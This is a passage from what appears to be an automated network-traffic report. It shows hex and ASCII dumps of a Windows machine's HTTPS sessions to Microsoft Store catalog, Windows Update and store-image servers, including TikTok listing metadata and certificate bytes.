03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

148 192.168.2.3 49975 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:10 UTC 11293 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=BytedancePte.Ltd.TikTok_6yccndn6064se&
market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=
Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: F8WOXbHDHUayZpw0.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-05-13 14:43:10 UTC 11294 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 13 May 2022 14:43:09 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 80dba2c4-622e-4d82-88e8-b463a46a6677
MS-RequestId: f75e6e06-846b-4f5d-b5f9-b0dd32dbbd98
MS-CV: F8WOXbHDHUayZpw0.0.2.4.888071841.4080491989.1.888071842.1050481931.0
X-Content-Type-Options: nosniff
MS-ServerId: 57cf5d-8zp2d
Region: neu
Node: aks-bigcatrpns-32351330-vmss00002p
MS-DocumentVersions: 9NH2GPH4JZS4|644

2022-05-13 14:43:10 UTC 11294 IN Data Raw: 61 66 30 37 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 48 32 47 50 48 34 4a 5a 53 34 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 33 2d 30 38 54 32 30 3a 31 31 3a 35 31 2e 33 38 33 38 35 37 
30 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 35 30 33 39 34 32 36 39 36 31 
31 33 32 33 30 36 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 
Data Ascii: af07{"BigIds":["9NH2GPH4JZS4"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-03-08T20
:11:51.3838570Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3065039426961132306","EISListingIdentifier
":null,"BackgroundColor":"transpare

2022-05-13 14:43:10 UTC 11298 IN Data Raw: 61 70 70 73 2e 34 39 36 34 37 2e 31 33 36 33 34 30 35 32 35 39 35 36 31 30 35 31 31 2e 38 39 61 39 30 34 
30 30 2d 62 34 39 62 2d 34 63 33 35 2d 61 37 37 37 2d 36 30 63 39 32 65 61 31 65 33 39 38 2e 30 35 36 34 65 35 61 65 
2d 65 66 36 30 2d 34 39 61 32 2d 61 33 31 36 2d 61 32 66 66 31 36 30 33 32 61 39 63 22 2c 22 57 69 64 74 68 22 3a 36 
36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 34 39 39 34 35 38 38 38 31 34 34 35 37 37 32 38 34 22 2c 22 45 49 53 
4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 
22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 
6e 42 79 74 65 73 22 3a 33 35 38 38 2c 22 46 6f 72 65 67 72 6f 75 6e 64 
Data Ascii: apps.49647.13634052595610511.89a90400-b49b-4c35-a777-60c92ea1e398.0564e5ae-ef60-49a2-a316-
a2ff16032a9c","Width":66},{"FileId":"3049945888144577284","EISListingIdentifier":null,"BackgroundColor":"transparent",
"Caption":"","FileSizeInBytes":3588,"Foreground

2022-05-13 14:43:10 UTC 11302 IN Data Raw: 37 37 35 34 36 33 37 33 36 38 32 35 38 39 39 37 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 
66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 
74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 33 35 32 31 
2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 
65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 
22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 56 6b 6b 75 57 65 38 45 4f 64 75 46 
42 69 75 67 45 45 64 51 6c 61 75 74 36 77 53 52 64 62 34 71 44 47 
Data Ascii: 7754637368258997","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes"
:13521,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash
":"VkkuWe8EOduFBiugEEdQlaut6wSRdb4qDG

2022-05-13 14:43:10 UTC 11306 IN Data Raw: 70 69 72 65 64 20 62 79 20 61 20 67 6c 6f 62 61 6c 20 63 6f 6d 6d 75 6e 69 74 79 20 6f 66 20 63 72 65 61 74 
6f 72 73 5c 72 5c 6e 4d 69 6c 6c 69 6f 6e 73 20 6f 66 20 63 72 65 61 74 6f 72 73 20 61 72 65 20 6f 6e 20 54 69 6b 54 6f 
6b 20 73 68 6f 77 63 61 73 69 6e 67 20 74 68 65 69 72 20 69 6e 63 72 65 64 69 62 6c 65 20 73 6b 69 6c 6c 73 20 61 6e 
64 20 65 76 65 72 79 64 61 79 20 6c 69 66 65 2e 20 4c 65 74 20 79 6f 75 72 73 65 6c 66 20 62 65 20 69 6e 73 70 69 72 
65 64 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 a0 20 41 64 64 20 79 6f 75 72 20 66 61 76 6f 72 69 74 65 20 6d 75 73 69 63 20 6f 
72 20 73 6f 75 6e 64 20 74 6f 20 79 6f 75 72 20 76 69 64 65 6f 73 20 66 6f 72 20 66 72 65 65 5c 72 5c 6e 45 61 73 69 6c 
79 20 65 64 69 74 20 79 6f 75 72 20 76 69 64 65 6f 73 20 77 69 
Data Ascii: pired by a global community of creators\r\nMillions of creators are on TikTok showcasing their incredible skills 
and everyday life. Let yourself be inspired.\r\n\r\n Add your favorite music or sound to your videos for free\r\nEasily edit 
your videos wi

2022-05-13 14:43:10 UTC 11310 IN Data Raw: 64 20 6d 6f 72 65 2e 20 5c 72 5c 6e 5c 72 5c 6e e2 96 a0 20 57 61 74 63 68 20 65 6e 64 6c 65 73 73 20 61 6d 
6f 75 6e 74 20 6f 66 20 76 69 64 65 6f 73 20 63 75 73 74 6f 6d 69 7a 65 64 20 73 70 65 63 69 66 69 63 61 6c 6c 79 20 66 
6f 72 20 79 6f 75 5c 72 5c 6e 41 20 70 65 72 73 6f 6e 61 6c 69 7a 65 64 20 76 69 64 65 6f 20 66 65 65 64 20 62 61 73 65 
64 20 6f 6e 20 77 68 61 74 20 79 6f 75 20 77 61 74 63 68 2c 20 6c 69 6b 65 2c 20 61 6e 64 20 73 68 61 72 65 2e 20 54 
69 6b 54 6f 6b 20 6f 66 66 65 72 73 20 79 6f 75 20 72 65 61 6c 2c 20 69 6e 74 65 72 65 73 74 69 6e 67 2c 20 61 6e 64 20 
66 75 6e 20 76 69 64 65 6f 73 20 74 68 61 74 20 77 69 6c 6c 20 6d 61 6b 65 20 79 6f 75 72 20 64 61 79 2e 5c 72 5c 6e 
20 5c 72 5c 6e e2 96 a0 20 45 78 70 6c 6f 72 65 20 76 69 64 65 
Data Ascii: d more. \r\n\r\n Watch endless amount of videos customized specifically for you\r\nA personalized video feed 
based on what you watch, like, and share. TikTok offers you real, interesting, and fun videos that will make your day.\r\n 
\r\n Explore vide
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2022-05-13 14:43:10 UTC 11314 IN Data Raw: 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 
2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 22 2c 5c 
22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 66 61 6c 73 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 
65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 
61 67 65 52 61 74 69 6e 67 5c 22 3a 33 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 
72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 39 2c 5c 22 73 79 73 
74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 
Data Ascii: policy\":{\"category.first\":\"app\",\"category.second\":\"Entertainment\",\"optOut.backupRestore\":false,\"
optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":3,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":9
,\"systemId\":3},{\"level\"

2022-05-13 14:43:10 UTC 11318 IN Data Raw: 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 39 2c 5c 22 73 79 73 74 65 6d 49 64 
5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 
22 6c 65 76 65 6c 5c 22 3a 37 30 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 
3a 36 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 
64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 4
9 64 22 3a 22 39 4e 48 32 47 50 48 34 4a 5a 53 34 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 39 63 34 33 66 35 
31 38 2d 65 62 64 31 2d 34 62 62 61 2d 61 35 62 38 2d 35 33 30 63 34 
Data Ascii: temId\":12},{\"level\":29,\"systemId\":9},{\"level\":78,\"systemId\":16},{\"level\":70,\"systemId\":15},{\"level\":67,
\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9NH2GPH4JZS4","WuBundleId":"9c
43f518-ebd1-4bba-a5b8-530c4

2022-05-13 14:43:10 UTC 11322 IN Data Raw: 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 54 65 61 6d 
22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 
22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 48 6f 6c 6f 67 72 61 70 68 69 63 22 
7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 
3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 43 6f 72 65 22 7d 2c 7b 22 4d 61 78 56 
65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 6
6 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 38 38 32 
Data Ascii: sion":0,"PlatformName":"Windows.Team"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Win
dows.Holographic"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Core"},{"MaxVersion":214748
3647,"MinVersion":0,"PlatformName":"Windows.882

2022-05-13 14:43:10 UTC 11326 IN Data Raw: 72 61 63 6b 73 20 69 6e 20 65 76 65 72 79 20 67 65 6e 72 65 2c 20 69 6e 63 6c 75 64 69 6e 67 20 48 69 70 
20 48 6f 70 2c 20 45 64 6d 2c 20 50 6f 70 2c 20 52 6f 63 6b 2c 20 52 61 70 2c 20 61 6e 64 20 43 6f 75 6e 74 72 79 2c 20 
61 6e 64 20 74 68 65 20 6d 6f 73 74 20 76 69 72 61 6c 20 6f 72 69 67 69 6e 61 6c 20 73 6f 75 6e 64 73 2e 5c 72 5c 6e 5c 
72 5c 6e e2 96 a0 20 45 78 70 72 65 73 73 20 79 6f 75 72 73 65 6c 66 20 77 69 74 68 20 63 72 65 61 74 69 76 65 20 65 
66 66 65 63 74 73 5c 72 5c 6e 55 6e 6c 6f 63 6b 20 74 6f 6e 73 20 6f 66 20 66 69 6c 74 65 72 73 2c 20 65 66 66 65 63 74 
73 2c 20 61 6e 64 20 41 52 20 6f 62 6a 65 63 74 73 20 74 6f 20 74 61 6b 65 20 79 6f 75 72 20 76 69 64 65 6f 73 20 74 6f 
20 74 68 65 20 6e 65 78 74 20 6c 65 76 65 6c 2e 5c 72 5c 6e 5c 
Data Ascii: racks in every genre, including Hip Hop, Edm, Pop, Rock, Rap, and Country, and the most viral original sound
s.\r\n\r\n Express yourself with creative effects\r\nUnlock tons of filters, effects, and AR objects to take your videos to the 
next level.\r\n\

2022-05-13 14:43:10 UTC 11330 IN Data Raw: 6c 79 4e 61 6d 65 22 3a 22 42 79 74 65 64 61 6e 63 65 50 74 65 2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 36 79 63 
63 6e 64 6e 36 30 36 34 73 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 
63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 42 79 74 65 64 61 6e 63 65 50 74 65 
2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 31 2e 30 2e 33 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 36 79 63 63 6e 64 6e 36 30 
36 34 73 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 36 32 61 66 39 30 66 35 2d 38 63 66 61 2d 36 63 38 30 2d 63 
31 35 38 2d 30 61 64 66 62 37 36 63 33 38 34 39 2d 4e 65 75 74 72 61 6c 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 
3a 33 30 30 31 30 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 
Data Ascii: lyName":"BytedancePte.Ltd.TikTok_6yccndn6064se","MainPackageFamilyNameForDlc":null,"Pack
ageFullName":"BytedancePte.Ltd.TikTok_1.0.3.70_neutral_~_6yccndn6064se","PackageId":"62af90f5-8cfa-6c80-c158-0
adfb76c3849-Neutral","PackageRank":30010,"PlatformDepende

2022-05-13 14:43:10 UTC 11334 IN Data Raw: 6b 22 3a 33 30 30 32 31 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 
61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 
3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 
77 73 2e 44 65 73 6b 74 6f 70 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 
22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 2
2 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 42 79 74 65 64 61 6e 63 65 50 
74 65 2e 4c 74 64 2e 54 69 6b 54 6f 6b 5f 31 2e 30 2e 34 2e 30 5f 
Data Ascii: k":30021,"PlatformDependencies":[{"MaxTested":2814750970478592,"MinVersion":2814750835277824,"Plat
formName":"Windows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundle
dPackages\":[\"BytedancePte.Ltd.TikTok_1.0.4.0_

2022-05-13 14:43:10 UTC 11338 IN Data Raw: 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 
47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 3a 7b 22 43 75 
72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 2
2 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 22 3a 22 22 
2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 72 74 69 65 
73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 44 69 73 70 6c 61 79 52 61 6e 6b 22 3a 32 2c 22 52 
65 6d 65 64 69 61 74 69 6f 6e 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 
Data Ascii: ts":["US"],"OrderManagementData":{"GrantedEntitlementKeys":[],"Price":{"CurrencyCode":"USD","IsPIR
equired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyCode":""}},"Properties":{},"SkuId":"0011","Disp
layRank":2,"RemediationRequired":fals

2022-05-13 14:43:10 UTC 11338 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

149 192.168.2.3 49976 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:10 UTC 11338 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:43:11 UTC 11338 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: bd06e047-621e-4cbd-a425-1a34f1dea037
MS-RequestId: 366edc8c-373e-4d10-bf38-81376df39d33
MS-CV: b9/iajrJnkKQzT5k.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:43:10 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:43:11 UTC 11339 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:43:11 UTC 11354 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-13 14:43:11 UTC 11370 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Session ID Source IP Source Port Destination IP
Destination
Port

Process

15 192.168.2.3 49717 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:59 UTC 189 OUT GET /image/apps.18124.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.afc6c372-c7a8-4eda-94fb-
541bbb081d14?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:39:59 UTC 189 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 2629
Content-Type: image/png
Last-Modified: Thu, 10 Jun 2021 02:49:24 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyQkJBNUI1OEFDQ0E"
MS-CV: uTeCNqL8s0mgIiPD.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:59 GMT
Connection: close
Access-Control-Allow-Origin: *
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2022-05-13 14:39:59 UTC 190 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 09 da 49 44 41 54 78 5e ed 9d 77 8c 15 55 14 87 31 31 46 45 b1 61 ef 46 25 96 d8 4d 6
c d1 c4 58 13 6b 6c b1 46 13 4b 62 8b 2d 9a 18 35 d8 f5 0f 7b c1 86 95 a2 48 53 04 11 50 14 04 e9 ba 2b 9d 08 88 08 82 
88 bb af d7 3d de df dd 1d 5d 37 b3 f0 f6 ec 7b f3 ee 1d 7e 27 f9 12 ca ee 7b 6f 66 be b9 f7 9c 5b e6 f5 d8 fb 83 84 10 d2 
55 28 0e 51 41 71 88 0a 8a 43 54 50 1c a2 82 e2 10 15 14 87 a8 a0 38 44 05 c5 21 2a 28 0e 51 41 71 88 0a 8a 43 54 50 
1c a2 82 e2 10 15 14 87 a8 a0 38 44 05 c5 21 2a 28 0e 51 41 71 88 
Data Ascii: PNGIHDR0sRGBgAMAapHYsodIDATx^wU11FEaF%MlXklFKb-5{HSP+=]7{~'{of[U(QAqCTP8D!*(QA
qCTP8D!*(QAq

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

150 192.168.2.3 49977 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:11 UTC 11374 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:43:12 UTC 11374 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
MS-CorrelationId: 93f51515-8d80-438b-b49b-c4e48624e36c
MS-RequestId: 63a08dad-07a6-4700-9b83-edd0ecf78251
